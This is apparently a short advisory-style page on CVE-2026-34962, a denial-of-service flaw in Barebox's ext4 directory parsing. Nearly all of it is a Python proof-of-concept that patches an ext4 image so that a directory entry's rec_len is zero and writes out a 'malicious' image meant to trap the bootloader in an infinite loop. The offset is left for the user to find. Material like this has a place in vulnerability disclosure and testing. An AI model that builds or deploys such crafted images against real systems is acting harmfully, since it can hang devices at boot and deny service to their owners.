CVE-2026-34962: Barebox ext4目录解析拒绝服务漏洞

import os import struct # Conceptual PoC to demonstrate patching an ext4 directory entry to trigger the infinite loop. # This requires a valid ext4 image as input. def create_malicious_ext4(input_image, output_image, offset_to_dirent): """ Modifies an ext4 image to set a directory entry length (rec_len) to 0. """ with open(input_image, 'rb') as f: data = bytearray(f.read()) # ext4 directory entry structure (simplified): # 4 bytes: inode # 2 bytes: rec_len (The target field) # 1 byte: name_len # 1 byte: file_type # ... name ... # Assuming we know the offset to the rec_len field (inode + 4 bytes) # This is a PoC illustration; finding the exact offset requires parsing the filesystem. if offset_to_dirent + 6 < len(data): # Set rec_len to 0 (2 bytes, little endian) # This causes the infinite loop in barebox. struct.pack_into('<H', data, offset_to_dirent + 4, 0x0000) print(f"[+] Modified directory entry length at offset {offset_to_dirent} to 0") with open(output_image, 'wb') as f: f.write(data) print(f"[+] Malicious image written to {output_image}") # Usage (requires actual image and offset analysis): # create_malicious_ext4('valid.ext4.img', 'malicious.ext4.img', 0x1000)